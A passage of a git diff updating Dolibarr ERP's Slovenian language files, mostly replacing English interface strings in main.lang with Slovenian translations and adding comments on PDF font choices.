but mandatory +ContactsWithThirdpartyFilter=Stiki s filtrom tretjih oseb +Unanswered=Brez odgovora +Answered=Odgovoril +IsNotAnAnswer=Ni odgovora (začetni e-poštni naslov) +IsAnAnswer=Je odgovor na prvotno e-pošto +RecordCreatedByEmailCollector=Zapis, ki ga je ustvaril zbiralnik e-pošte %s iz e-pošte %s +DefaultBlacklistMailingStatus=Privzeta vrednost za polje '%s' pri ustvarjanju novega stika +DefaultStatusEmptyMandatory=Prazen, a obvezen +WarningLimitSendByDay=OPOZORILO: Nastavitev ali pogodba vašega primerka omejuje vaše število e-poštnih sporočil na dan na %s . Poskus pošiljanja več lahko povzroči upočasnitev ali začasno zaustavitev vašega primerka. Če potrebujete višjo kvoto, se obrnite na podporo. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/sl_SI/main.lang b/htdocs/langs/sl_SI/main.lang index 9633b6caa9b..417b4eaf22c 100644 --- a/htdocs/langs/sl_SI/main.lang +++ b/htdocs/langs/sl_SI/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=DejaVuSans FONTSIZEFORPDF=8 SeparatorDecimal=, @@ -24,16 +30,17 @@ FormatDateHourSecShort=%m/%d/%Y %I:%M:%S %p FormatDateHourTextShort=%d. %b, %Y, %I:%M %p FormatDateHourText=%d. %B, %Y, %I:%M %p DatabaseConnection=Povezave podatkovnih baz -NoTemplateDefined=No template available for this email type -AvailableVariables=Available substitution variables +NoTemplateDefined=Za to vrsto e-pošte ni na voljo nobene predloge +AvailableVariables=Razpoložljive substitucijske spremenljivke NoTranslation=Ni prevoda Translation=Prevod +Translations=Prevodi CurrentTimeZone=Časovni pas PHP strežnika -EmptySearchString=Enter non empty search criterias -EnterADateCriteria=Enter a date criteria +EmptySearchString=Vnesite iskalne kriterije, ki niso prazni +EnterADateCriteria=Vnesite merilo za datum NoRecordFound=Ni najden zapis -NoRecordDeleted=No record deleted -NotEnoughDataYet=Not enough data +NoRecordDeleted=Noben zapis ni izbrisan +NotEnoughDataYet=Ni dovolj podatkov NoError=Ni napake Error=Napaka Errors=Napake @@ -41,92 +48,92 @@ ErrorFieldRequired=Polje '%s' je obvezno ErrorFieldFormat=Vrednost v polju '%s' je napačna ErrorFileDoesNotExists=Datoteka %s ne obstaja ErrorFailedToOpenFile=Napaka pri odpiranju datoteke %s -ErrorCanNotCreateDir=Cannot create dir %s -ErrorCanNotReadDir=Cannot read dir %s +ErrorCanNotCreateDir=Imenika ni mogoče ustvariti %s +ErrorCanNotReadDir=Imenika ni mogoče prebrati %s ErrorConstantNotDefined=Parameter %s ni definiran ErrorUnknown=Neznana napaka ErrorSQL=SQL napaka ErrorLogoFileNotFound=Datoteka z logotipom '%s' ni bila najdena -ErrorGoToGlobalSetup=Go to 'Company/Organization' setup to fix this +ErrorGoToGlobalSetup=Pojdite na nastavitve »Podjetje/organizacija«, da to popravite ErrorGoToModuleSetup=Popravite v meniju 'Nastavitve', 'Moduli' ErrorFailedToSendMail=Napaka pri pošiljanju E-maila (pošiljatelj=%s, prejemnik=%s) ErrorFileNotUploaded=Datoteka ni bila naložena. Preverite, če velikost ne presega omejitve, če je na disku dovolj prostora ali če datoteka z istim imenom že obstaja v tej mapi. ErrorInternalErrorDetected=Zaznana napaka ErrorWrongHostParameter=Napačen parameter gostitelja -ErrorYourCountryIsNotDefined=Your country is not defined. Go to Home-Setup-Edit and post the form again. -ErrorRecordIsUsedByChild=Failed to delete this record. This record is used by at least one child record. +ErrorYourCountryIsNotDefined=Vaša država ni določena. Pojdite na Home-Setup-Edit in ponovno objavite obrazec. +ErrorRecordIsUsedByChild=Tega zapisa ni bilo mogoče izbrisati. Ta zapis uporablja vsaj en podrejeni zapis. ErrorWrongValue=Napačna vrednost ErrorWrongValueForParameterX=Napačna vrednost parametra %s ErrorNoRequestInError=No request in error -ErrorServiceUnavailableTryLater=Service not available at the moment. Try again later. +ErrorServiceUnavailableTryLater=Storitev trenutno ni na voljo. Poskusi znova kasneje. ErrorDuplicateField=Podvojena vrednost v enoličnem polju -ErrorSomeErrorWereFoundRollbackIsDone=Some errors were found. Changes have been rolled back. -ErrorConfigParameterNotDefined=Parameter %s is not defined in the Dolibarr config file conf.php. +ErrorSomeErrorWereFoundRollbackIsDone=Najdenih je bilo nekaj napak. Spremembe so bile razveljavljene. +ErrorConfigParameterNotDefined=Parameter %s ni definiran v konfiguracijski datoteki Dolibarr conf.php . ErrorCantLoadUserFromDolibarrDatabase=Napaka pri iskanju uporabnika %s v Dolibarr bazi podatkov. ErrorNoVATRateDefinedForSellerCountry=Napaka, za državo '%s' niso definirane davčna stopnje. ErrorNoSocialContributionForSellerCountry=Napaka, za državo '%s' niso definirane stopnje socialnega/fiskalnega davka. ErrorFailedToSaveFile=Napaka, datoteka ni bila shranjena. -ErrorCannotAddThisParentWarehouse=You are trying to add a parent warehouse which is already a child of a existing warehouse -FieldCannotBeNegative=Field "%s" cannot be negative -MaxNbOfRecordPerPage=Max. number of records per page +ErrorCannotAddThisParentWarehouse=Poskušate dodati nadrejeno skladišče, ki je že podrejeno obstoječemu skladišču +FieldCannotBeNegative=Polje "%s" ne more biti negativno +MaxNbOfRecordPerPage=maks. število zapisov na stran NotAuthorized=Nimate dovoljenja za to. SetDate=Nastavi datum SelectDate=Izberi datum SeeAlso=Glejte tudi %s SeeHere=Glej tukaj ClickHere=Kliknite tukaj -Here=Here +Here=Tukaj Apply=Uporabi BackgroundColorByDefault=Privzeta barva ozadja -FileRenamed=The file was successfully renamed -FileGenerated=The file was successfully generated -FileSaved=The file was successfully saved +FileRenamed=Datoteka je bila uspešno preimenovana +FileGenerated=Datoteka je bila uspešno ustvarjena +FileSaved=Datoteka je bila uspešno shranjena FileUploaded=Datoteka je bila uspešno naložena -FileTransferComplete=File(s) uploaded successfully -FilesDeleted=File(s) successfully deleted +FileTransferComplete=Datoteke so bile uspešno naložene +FilesDeleted=Datoteke so uspešno izbrisane FileWasNotUploaded=Izbrana je bila datoteka za prilogo, vendar še ni dodana. Kliknite na "Pripni datoteko". -NbOfEntries=No. of entries -GoToWikiHelpPage=Read online help (Internet access needed) +NbOfEntries=Št. vnosov +GoToWikiHelpPage=Preberite spletno pomoč (potreben je dostop do interneta) GoToHelpPage=Preberite pomoč -DedicatedPageAvailable=Dedicated help page related to your current screen -HomePage=Home Page +DedicatedPageAvailable=Posebna stran s pomočjo, povezana z vašim trenutnim zaslonom +HomePage=Domača stran RecordSaved=Zapis je shranjen RecordDeleted=Zapis je izbrisan -RecordGenerated=Record generated +RecordGenerated=Zapis ustvarjen LevelOfFeature=Nivo značilnosti NotDefined=Ni definiran -DolibarrInHttpAuthenticationSoPasswordUseless=Dolibarr authentication mode is set to %s in configuration file conf.php.
      This means that the password database is external to Dolibarr, so changing this field may have no effect. +DolibarrInHttpAuthenticationSoPasswordUseless=Način preverjanja pristnosti Dolibarr je nastavljen na %s v konfiguracijski datoteki conf.php .
      To pomeni, da je zbirka gesel zunanja za Dolibarr, zato sprememba tega polja morda ne bo imela učinka. Administrator=Administrator Undefined=Nedefinirano -PasswordForgotten=Password forgotten? -NoAccount=No account? +PasswordForgotten=Pozabljeno geslo? +NoAccount=Brez računa? SeeAbove=Glejte zgoraj HomeArea=Domov -LastConnexion=Last login -PreviousConnexion=Previous login -PreviousValue=Previous value +LastConnexion=Zadnja prijava +PreviousConnexion=Prejšnja prijava +PreviousValue=Prejšnja vrednost ConnectedOnMultiCompany=Prijava na entiteto ConnectedSince=Prijavljen od -AuthenticationMode=Authentication mode -RequestedUrl=Requested URL +AuthenticationMode=Način preverjanja pristnosti +RequestedUrl=Zahtevani URL DatabaseTypeManager=Upravljalnik tipov baz podatkov -RequestLastAccessInError=Latest database access request error -ReturnCodeLastAccessInError=Return code for latest database access request error -InformationLastAccessInError=Information for latest database access request error +RequestLastAccessInError=Napaka zadnje zahteve za dostop do zbirke podatkov +ReturnCodeLastAccessInError=Povratna koda za napako zadnje zahteve za dostop do baze podatkov +InformationLastAccessInError=Informacije o zadnji napaki pri zahtevi za dostop do zbirke podatkov DolibarrHasDetectedError=Dolibarr je zaznal tehnično napako -YouCanSetOptionDolibarrMainProdToZero=You can read log file or set option $dolibarr_main_prod to '0' in your config file to get more information. -InformationToHelpDiagnose=This information can be useful for diagnostic purposes (you can set option $dolibarr_main_prod to '1' to hide sensitive information) +YouCanSetOptionDolibarrMainProdToZero=Za več informacij lahko preberete dnevniško datoteko ali nastavite možnost $dolibarr_main_prod na '0' v vaši konfiguracijski datoteki. +InformationToHelpDiagnose=Te informacije so lahko uporabne za diagnostične namene (možnost $dolibarr_main_prod lahko nastavite na '1', da skrijete občutljive informacije) MoreInformation=Več informacij TechnicalInformation=Tehnična informacija TechnicalID=Tehnični ID -LineID=Line ID +LineID=ID vrstice NotePublic=Opomba (javna) NotePrivate=Opomba (privatna) PrecisionUnitIsLimitedToXDecimals=Dolibarr je nastavljen na omejitev natančnosti cen posameznih enot na %s decimalk. DoTest=Test ToFilter=Filter -NoFilter=No filter -WarningYouHaveAtLeastOneTaskLate=Warning, you have at least one element that has exceeded the tolerance time. +NoFilter=Brez filtra +WarningYouHaveAtLeastOneTaskLate=Opozorilo, imate vsaj en element, ki je presegel tolerančni čas. yes=da Yes=Da no=ne @@ -136,19 +143,19 @@ Home=Domov Help=Pomoč OnlineHelp=Online pomoč PageWiki=Wiki stran -MediaBrowser=Media browser +MediaBrowser=Medijski brskalnik Always=Vedno Never=Nikoli Under=pod Period=Obdobje PeriodEndDate=Končni datum obdobja -SelectedPeriod=Selected period -PreviousPeriod=Previous period +SelectedPeriod=Izbrano obdobje +PreviousPeriod=Prejšnje obdobje Activate=Aktiviraj Activated=Aktiviran Closed=Zaključen Closed2=Zaključen -NotClosed=Not closed +NotClosed=Ni zaprto Enabled=Omogočen Enable=Omogočeno Deprecated=Nasprotovanje @@ -157,77 +164,79 @@ Disabled=Onemogočen Add=Dodaj AddLink=Dodaj povezavo RemoveLink=Odstrani povezavo -AddToDraft=Add to draft +AddToDraft=Dodaj v osnutek Update=Posodobi Close=Zapri -CloseAs=Set status to -CloseBox=Remove widget from your dashboard +CloseAs=Nastavi stanje na +CloseBox=Odstranite pripomoček z nadzorne plošče Confirm=Potrdi -ConfirmSendCardByMail=Do you really want to send the content of this card by mail to %s? +ConfirmSendCardByMail=Ali res želite poslati vsebino te kartice po pošti na %s ? Delete=Briši Remove=Odstrani -Resiliate=Terminate +Resiliate=Prekiniti Cancel=Razveljavi Modify=Spremeni Edit=Uredi Validate=Potrdi ValidateAndApprove=Potrdi in odobri ToValidate=Za potrditev -NotValidated=Not validated +NotValidated=Ni potrjeno Save=Shrani SaveAs=Shrani kot -SaveAndStay=Save and stay -SaveAndNew=Save and new +SaveAndStay=Prihrani in ostani +SaveAndNew=Shrani in novo TestConnection=Test povezave ToClone=Kloniraj -ConfirmCloneAsk=Are you sure you want to clone the object %s? -ConfirmClone=Choose the data you want to clone: +ConfirmCloneAsk=Ali ste prepričani, da želite klonirati predmet %s ? +ConfirmClone=Izberite podatke, ki jih želite klonirati: NoCloneOptionsSpecified=Ni definiranih podatkov za kloniranje. Of=od Go=Pojdi Run=Zaženi CopyOf=Kopija od Show=Prikaži -Hide=Hide +Hide=Skrij se ShowCardHere=Prikaži kartico Search=Išči SearchOf=Iskanje SearchMenuShortCut=Ctrl + shift + f -QuickAdd=Quick add +QuickAdd=Hitro dodajanje QuickAddMenuShortCut=Ctrl + shift + l Valid=Veljaven Approve=Potrdi Disapprove=Prekliči odobritev ReOpen=Ponovno odpri -Upload=Upload +OpenVerb=Odprt +Upload=Naloži ToLink=Povezava Select=Dodaj kot lastnika -SelectAll=Select all +SelectAll=Izberi vse Choose=Izbira Resize=Spremeni velikost -ResizeOrCrop=Resize or Crop +ResizeOrCrop=Spremeni velikost ali Obreži Recenter=Ponovno centriraj Author=Avtor User=Uporabnik Users=Uporabniki Group=Skupina Groups=Skupine -UserGroup=User group -UserGroups=User groups +UserGroup=Skupina uporabnikov +UserGroups=Skupine uporabnikov NoUserGroupDefined=Nobena skupina uporabnikov ni definirana Password=Geslo -PasswordRetype=Ponoven vnos gesla +PasswordRetype=Ponovite svoje geslo NoteSomeFeaturesAreDisabled=Upoštevajte, da je veliko funkcij/modulov v tej demonstraciji onemogočenih. +YourUserFile=Your user file Name=Priimek -NameSlashCompany=Name / Company +NameSlashCompany=Ime / Podjetje Person=Oseba Parameter=Parameter Parameters=Parametri Value=Vrednost PersonalValue=Osebna vrednost -NewObject=New %s +NewObject=Novo %s NewValue=Nova vrednost -OldValue=Old value %s +OldValue=Stara vrednost %s CurrentValue=Trenutna vrednost Code=Koda Type=Tip @@ -242,14 +251,15 @@ Family=Družina Description=Opis Designation=Artikel / Storitev DescriptionOfLine=Opis vrstice -DateOfLine=Date of line -DurationOfLine=Duration of line -Model=Doc template -DefaultModel=Default doc template +DateOfLine=Datum vrstice +DurationOfLine=Trajanje vrstice +ParentLine=ID nadrejene vrstice +Model=Predloga dokumenta +DefaultModel=Privzeta predloga dokumenta Action=Aktivnost About=O programu Number=Številka -NumberByMonth=Total reports by month +NumberByMonth=Skupna poročila po mesecih AmountByMonth=Znesek po mesecih Numero=Številka Limit=Omejitev @@ -266,7 +276,7 @@ Cards=Kartice Card=Kartica Now=Zdaj HourStart=Ura začetka -Deadline=Deadline +Deadline=Rok Date=Datum DateAndHour=Datum in ura DateToday=Današnji datum @@ -275,13 +285,13 @@ DateStart=Začetni datum DateEnd=Končni datum DateCreation=Datum kreiranja DateCreationShort=Datum ustvarjanja -IPCreation=Creation IP +IPCreation=IP za ustvarjanje DateModification=Datum spremembe DateModificationShort=Dat.spr. -IPModification=Modification IP +IPModification=Modifikacija IP DateLastModification=Datum zadnje spremembe DateValidation=Datum potrditve -DateSigning=Signing date +DateSigning=Datum podpisa DateClosing=Datum zaključka DateDue=Datum zapadlosti DateValue=Datum veljavnosti @@ -295,13 +305,13 @@ DateBuild=Datum izdelave poročila DatePayment=Datum plačila DateApprove=Datum odobritve DateApprove2=Datum odobritve (drugi nivo) -RegistrationDate=Registration date -UserCreation=Creation user -UserModification=Modification user -UserValidation=Validation user -UserCreationShort=Creat. user -UserModificationShort=Modif. user -UserValidationShort=Valid. user +RegistrationDate=Datum registracije +UserCreation=Uporabnik ustvarjanja +UserModification=Uporabnik spremembe +UserValidation=Uporabnik za preverjanje veljavnosti +UserCreationShort=Ustvari. uporabnik +UserModificationShort=Modif. uporabnik +UserValidationShort=Veljavno. uporabnik DurationYear=leto DurationMonth=mesec DurationWeek=teden @@ -333,19 +343,19 @@ Morning=Jutro Afternoon=Popoldan Quadri=Četrtletje MonthOfDay=Dan v mesecu -DaysOfWeek=Days of week +DaysOfWeek=Dnevi v tednu HourShort=H MinuteShort=Mn Rate=Stopnja -CurrencyRate=Currency conversion rate +CurrencyRate=Tečaj menjave valut UseLocalTax=Vključi davek Bytes=Byti KiloBytes=Kilobyti MegaBytes=Megabyti GigaBytes=Gigabyti TeraBytes=Terabyti -UserAuthor=Ceated by -UserModif=Updated by +UserAuthor=Ustvaril +UserModif=Posodobil b=b. Kb=Kb Mb=Mb @@ -356,107 +366,107 @@ Copy=Kopiraj Paste=Prilepi Default=Privzeto DefaultValue=Privzeta vrednost -DefaultValues=Default values/filters/sorting +DefaultValues=Privzete vrednosti/filtri/razvrščanje Price=Cena -PriceCurrency=Price (currency) +PriceCurrency=Cena (valuta) UnitPrice=Cena enote -UnitPriceHT=Unit price (excl.) -UnitPriceHTCurrency=Unit price (excl.) (currency) +UnitPriceHT=Cena na enoto (brez) +UnitPriceHTCurrency=Cena na enoto (brez) (valuta) UnitPriceTTC=Cena enote PriceU=C.E. PriceUHT=C.E. (neto) -PriceUHTCurrency=U.P (net) (currency) +PriceUHTCurrency=U.P (neto) (valuta) PriceUTTC=C.E. (z davkom) Amount=Znesek AmountInvoice=Znesek računa -AmountInvoiced=Amount invoiced -AmountInvoicedHT=Amount invoiced (excl. tax) -AmountInvoicedTTC=Amount invoiced (inc. tax) +AmountInvoiced=Znesek na računu +AmountInvoicedHT=Znesek na računu (brez davka) +AmountInvoicedTTC=Znesek na računu (vključno z davkom) AmountPayment=Znesek za plačilo -AmountHTShort=Amount (excl.) +AmountHTShort=Znesek (brez) AmountTTCShort=Znesek (z DDV) -AmountHT=Amount (excl. tax) +AmountHT=Znesek (brez davka) AmountTTC=Znesek (z DDV) AmountVAT=Znesek DDV -MulticurrencyAlreadyPaid=Already paid, original currency -MulticurrencyRemainderToPay=Remain to pay, original currency -MulticurrencyPaymentAmount=Payment amount, original currency -MulticurrencyAmountHT=Amount (excl. tax), original currency -MulticurrencyAmountTTC=Amount (inc. of tax), original currency -MulticurrencyAmountVAT=Amount tax, original currency -MulticurrencySubPrice=Amount sub price multi currency +MulticurrencyAlreadyPaid=Že plačano, originalna valuta +MulticurrencyRemainderToPay=Preostanek za plačilo, izvirna valuta +MulticurrencyPaymentAmount=Znesek plačila, originalna valuta +MulticurrencyAmountHT=Znesek (brez davka), izvirna valuta +MulticurrencyAmountTTC=Znesek (vključno z davkom), izvirna valuta +MulticurrencyAmountVAT=Znesek davka, izvirna valuta +MulticurrencySubPrice=Znesek pod ceno v več valutah AmountLT1=Znesek davka 2 AmountLT2=Znesek davka 3 AmountLT1ES=Znesek RE AmountLT2ES=Znesek IRPF AmountTotal=Skupni znesek AmountAverage=Povprečni znesek -PriceQtyMinHT=Price quantity min. (excl. tax) -PriceQtyMinHTCurrency=Price quantity min. (excl. tax) (currency) -PercentOfOriginalObject=Percent of original object -AmountOrPercent=Amount or percent +PriceQtyMinHT=Cena količina min. (brez davka) +PriceQtyMinHTCurrency=Cena količina min. (brez davka) (valuta) +PercentOfOriginalObject=Odstotek izvirnega predmeta +AmountOrPercent=Znesek ali odstotek Percentage=Procent Total=Skupaj SubTotal=Delna vsota -TotalHTShort=Total (excl.) -TotalHT100Short=Total 100%% (excl.) -TotalHTShortCurrency=Total (excl. in currency) +TotalHTShort=Skupaj (brez) +TotalHT100Short=Skupaj 100%% (brez) +TotalHTShortCurrency=Skupaj (brez valute) TotalTTCShort=Skupaj (z DDV) -TotalHT=Total (excl. tax) -TotalHTforthispage=Total (excl. tax) for this page -Totalforthispage=Total for this page +TotalHT=Skupaj (brez davka) +TotalHTforthispage=Skupaj (brez davka) za to stran +Totalforthispage=Skupaj za to stran TotalTTC=Skupaj (z DDV) TotalTTCToYourCredit=Skupaj (z DDV) na vaš dobropis TotalVAT=Skupaj DDV -TotalVATIN=Total IGST +TotalVATIN=Skupaj IGST TotalLT1=Skupaj davek 2 TotalLT2=Skupaj davek 3 TotalLT1ES=Skupaj RE TotalLT2ES=Skupaj IRPF -TotalLT1IN=Total CGST -TotalLT2IN=Total SGST -HT=Excl. tax -TTC=Z DDV -INCVATONLY=Inc. VAT -INCT=Inc. all taxes +TotalLT1IN=Skupaj CGST +TotalLT2IN=Skupaj SGST +HT=brez DDV +TTC=z DDV +INCVATONLY=Vklj. DDV +INCT=Vklj. DDV VAT=DDV VATIN=IGST VATs=Prodajni davki -VATINs=IGST taxes -LT1=Sales tax 2 -LT1Type=Sales tax 2 type -LT2=Sales tax 3 -LT2Type=Sales tax 3 type +VATINs=davki IGST +LT1=Davčna tarifa 2 +LT1Type=Vrsta davčne tarife 2 +LT2=Davčna tarifa 3 +LT2Type=Vrsta davčne tarife 3 LT1ES=RE LT2ES=IRPF LT1IN=CGST LT2IN=SGST -LT1GC=Additionnal cents +LT1GC=Dodatni centi VATRate=Stopnja DDV -RateOfTaxN=Rate of tax %s -VATCode=Tax Rate code -VATNPR=Tax Rate NPR -DefaultTaxRate=Default tax rate +RateOfTaxN=Davčna stopnja %s +VATCode=Koda davčne stopnje +VATNPR=Davčna stopnja NPR +DefaultTaxRate=Privzeta davčna stopnja Average=Povprečje Sum=Vsota Delta=Razlika StatusToPay=Za plačilo -RemainToPay=Remain to pay -Module=Module/Application -Modules=Modules/Applications +RemainToPay=Ostane za plačilo +Module=Modul/Aplikacija +Modules=Moduli/Programi Option=Opcija -Filters=Filters +Filters=Filtri List=Seznam FullList=Celoten seznam -FullConversation=Full conversation +FullConversation=Popoln pogovor Statistics=Statistika -OtherStatistics=Druga statistika +OtherStatistics=Ostale statistike Status=Status Favorite=Priljubljen ShortInfo=Info. Ref=Ref. ExternalRef=Zunanja ref. -RefSupplier=Ref. vendor +RefSupplier=Ref. dobavitelj RefPayment=Ref. plačilo CommercialProposalsShort=Komercialne ponudbe Comment=Komentar @@ -466,24 +476,25 @@ ActionsToDoShort=Planirane ActionsDoneShort=Izvršene ActionNotApplicable=Ni na voljo ActionRunningNotStarted=Nezačete -ActionRunningShort=In progress +ActionRunningShort=V postopku ActionDoneShort=Končane -ActionUncomplete=Incomplete -LatestLinkedEvents=Latest %s linked events -CompanyFoundation=Company/Organization -Accountant=Accountant -ContactsForCompany=Kontakti tega partnerja -ContactsAddressesForCompany=Kontakti/naslovi za tega partnerja -AddressesForCompany=Naslovi za tega partnerja -ActionsOnCompany=Events for this third party -ActionsOnContact=Events for this contact/address -ActionsOnContract=Events for this contract -ActionsOnMember=Dogodki okoli tega člana -ActionsOnProduct=Events about this product +ActionUncomplete=Nepopolna +LatestLinkedEvents=Najnovejši dogodki, povezani z %s +CompanyFoundation=Podjetje/organizacija +Accountant=Računovodja +ContactsForCompany=Stiki za partnerja +ContactsAddressesForCompany=Stiki/naslovi za partnerja +AddressesForCompany=Naslovi za partnerja +ActionsOnCompany=Dogodki za partnerja +ActionsOnContact=Dogodki za stik/naslov +ActionsOnContract=Dogodki za pogodbo +ActionsOnMember=Dogodki člana +ActionsOnProduct=Dogodki na izdelku +ActionsOnAsset=Events for this fixed asset NActionsLate=%s zamujenih ToDo=Planirane -Completed=Completed -Running=In progress +Completed=Dokončano +Running=V postopku RequestAlreadyDone=Zahtevek je bil že zabeležen Filter=Filter FilterOnInto=Iskalni kriterij '%s' v poljih %s @@ -495,9 +506,9 @@ Generate=Ustvari Duration=Trajanje TotalDuration=Skupno trajanje Summary=Povzetek -DolibarrStateBoard=Database Statistics -DolibarrWorkBoard=Open Items -NoOpenedElementToProcess=No open element to process +DolibarrStateBoard=Statistika baze podatkov +DolibarrWorkBoard=Odprti predmeti +NoOpenedElementToProcess=Ni odprtega elementa za obdelavo Available=Na voljo NotYetAvailable=Še ni na voljo NotAvailable=Ni na voljo @@ -511,12 +522,13 @@ to=do To=do ToDate=do ToLocation=do -at=at +at=pri and=in or=ali Other=ostalo Others=Ostali -OtherInformations=Other information +OtherInformations=Druge informacije +Workflow=Potek dela Quantity=Količina Qty=Kol. ChangedBy=Spremenil @@ -530,23 +542,23 @@ Reporting=Poročilo Reportings=Poročila Draft=Osnutek Drafts=Osnutki -StatusInterInvoiced=Invoiced +StatusInterInvoiced=Fakturirano Validated=Potrjen -ValidatedToProduce=Validated (To produce) +ValidatedToProduce=Potrjeno (za proizvodnjo) Opened=Odprt -OpenAll=Open (All) -ClosedAll=Closed (All) +OpenAll=Odpri (vse) +ClosedAll=Zaprto (vse) New=Nov Discount=Popust Unknown=Neznan General=Splošno Size=Velikost -OriginalSize=Original size +OriginalSize=Originalna velikost Received=Prejet Paid=Plačan Topic=Predmet ByCompanies=S podjetji -ByUsers=By user +ByUsers=Po uporabniku Links=Povezave Link=Povezava Rejects=Zavrnitve @@ -555,20 +567,20 @@ NextStep=Naslednji korak Datas=Podatki None=Nič NoneF=Nič -NoneOrSeveral=None or several +NoneOrSeveral=Noben ali več Late=Prekoračeno -LateDesc=An item is defined as Delayed as per the system configuration in menu Home - Setup - Alerts. -NoItemLate=No late item +LateDesc=Postavka je definirana kot Zakasnjena glede na sistemsko konfiguracijo v meniju Domov - Nastavitve - Opozorila. +NoItemLate=Brez poznega predmeta Photo=Slika Photos=Slike AddPhoto=Dodaj sliko DeletePicture=Izbriši sliko ConfirmDeletePicture=Potrdi izbris slike? Login=Uporabniško ime -LoginEmail=Login (email) -LoginOrEmail=Login or Email +LoginEmail=Prijava (e-pošta) +LoginOrEmail=Prijava ali e-pošta CurrentLogin=Trenutna prijava -EnterLoginDetail=Enter login details +EnterLoginDetail=Vnesite podatke za prijavo January=Januar February=Februar March=Marec @@ -615,10 +627,11 @@ MonthVeryShort07=J MonthVeryShort08=A MonthVeryShort09=N MonthVeryShort10=O -MonthVeryShort11=N +MonthVeryShort11=n MonthVeryShort12=D AttachedFiles=Pripete datoteke in dokumenti -JoinMainDoc=Join main document +JoinMainDoc=Pridružite se glavnemu dokumentu +JoinMainDocOrLastGenerated=Pošljite glavni dokument ali nazadnje ustvarjenega, če ga ne najdete DateFormatYYYYMM=YYYY-MM DateFormatYYYYMMDD=YYYY-MM-DD DateFormatYYYYMMDDHHMM=YYYY-MM-DD HH:SS @@ -626,8 +639,8 @@ ReportName=Ime poročila ReportPeriod=Obdobje poročila ReportDescription=Opis Report=Poročilo -Keyword=Keyword -Origin=Origin +Keyword=Ključna beseda +Origin=Izvor Legend=Legenda Fill=Zapolni Reset=Ponastavi @@ -643,8 +656,8 @@ FindBug=Poročilo o hrošču NbOfThirdParties=Število partnerjev NbOfLines=Število vrstic NbOfObjects=Število predmetov -NbOfObjectReferers=Number of related items -Referers=Related items +NbOfObjectReferers=Število povezanih predmetov +Referers=Sorodni predmeti TotalQuantity=Skupna količina DateFromTo=Od %s do %s DateFrom=Od %s @@ -661,67 +674,68 @@ BuildDoc=Izdelaj Doc Entity=Entiteta Entities=Entitete CustomerPreview=Predogled kupca -SupplierPreview=Vendor preview +SupplierPreview=Predogled dobavitelja ShowCustomerPreview=Prikaži pregled kupca -ShowSupplierPreview=Show vendor preview +ShowSupplierPreview=Prikaži predogled dobavitelja RefCustomer=Ref. kupca -InternalRef=Internal ref. +InternalRef=Notranja ref. Currency=Valuta InfoAdmin=Informacija za administratorje Undo=Razveljavi Redo=Uveljavi ExpandAll=Razširi vse UndoExpandAll=Razveljavi razširitev -SeeAll=See all +SeeAll=Poglej vse Reason=Razlog FeatureNotYetSupported=Funkcija še ni podprta CloseWindow=Zaprite okno Response=Odgovor Priority=Prioriteta -SendByMail=Send by email +SendByMail=Poslano prek emaila MailSentBy=Email poslal NotSent=Ni poslan TextUsedInTheMessageBody=Vsebina Email-a -SendAcknowledgementByMail=Send confirmation email +SendAcknowledgementByMail=Pošlji potrditveno e-pošto SendMail=Pošlji e-pošto Email=E-pošta NoEMail=Ni email-a -AlreadyRead=Already read -NotRead=Unread +AlreadyRead=Že prebrano +NotRead=Neprebrano NoMobilePhone=Ni mobilnega telefona Owner=Lastnik FollowingConstantsWillBeSubstituted=Naslednje konstante bodo zamenjane z ustrezno vrednostjo. Refresh=Osveži BackToList=Nazaj na seznam -BackToTree=Back to tree +BackToTree=Nazaj na drevo GoBack=Pojdi nazaj CanBeModifiedIfOk=Lahko se spremeni, če je veljaven CanBeModifiedIfKo=Lahko se spremeni, če ni veljaven -ValueIsValid=DDV številka je veljavna -ValueIsNotValid=Value is not valid -RecordCreatedSuccessfully=Record created successfully +ValueIsValid=Vrednost je veljavna +ValueIsNotValid=Vrednost ni veljavna +RecordCreatedSuccessfully=Zapis je bil uspešno ustvarjen RecordModifiedSuccessfully=Zapis uspešno spremenjen -RecordsModified=%s record(s) modified -RecordsDeleted=%s record(s) deleted -RecordsGenerated=%s record(s) generated +RecordsModified=%s zapis(i) spremenjen(i). +RecordsDeleted=%s zapis(i) izbrisani +RecordsGenerated=%s ustvarjenih zapisov AutomaticCode=Avtomatska koda FeatureDisabled=Funkcija onemogočena -MoveBox=Move widget +MoveBox=Premakni pripomoček Offered=Ponujen NotEnoughPermissions=Nimate dovoljenja za to aktivnost +UserNotInHierachy=To dejanje je rezervirano za nadzornike tega uporabnika SessionName=Ime seje Method=Metoda Receive=Prejeto -CompleteOrNoMoreReceptionExpected=Complete or nothing more expected -ExpectedValue=Expected Value -ExpectedQty=Expected Qty +CompleteOrNoMoreReceptionExpected=Popolno ali nič več pričakovano +ExpectedValue=Pričakovana vrednost +ExpectedQty=Pričakovana količina PartialWoman=Delni TotalWoman=Skupna NeverReceived=Nikoli prejeto Canceled=Preklicano -YouCanChangeValuesForThisListFromDictionarySetup=You can change values for this list from menu Setup - Dictionaries -YouCanChangeValuesForThisListFrom=You can change values for this list from menu %s -YouCanSetDefaultValueInModuleSetup=You can set the default value used when creating a new record in module setup +YouCanChangeValuesForThisListFromDictionarySetup=Vrednosti za ta seznam lahko spremenite v meniju Nastavitve - Slovarji +YouCanChangeValuesForThisListFrom=Vrednosti za ta seznam lahko spremenite v meniju %s +YouCanSetDefaultValueInModuleSetup=V nastavitvah modula lahko nastavite privzeto vrednost, ki se uporablja pri ustvarjanju novega zapisa Color=Barva Documents=Povezane datoteke Documents2=Dokumenti @@ -731,57 +745,57 @@ MenuECM=Dokumenti MenuAWStats=AWStatistika MenuMembers=Člani MenuAgendaGoogle=Google dnevni red -MenuTaxesAndSpecialExpenses=Taxes | Special expenses +MenuTaxesAndSpecialExpenses=Davki | Posebni stroški ThisLimitIsDefinedInSetup=Dolibarr omejitve (Meni domov-nastavitve-varnost): %s 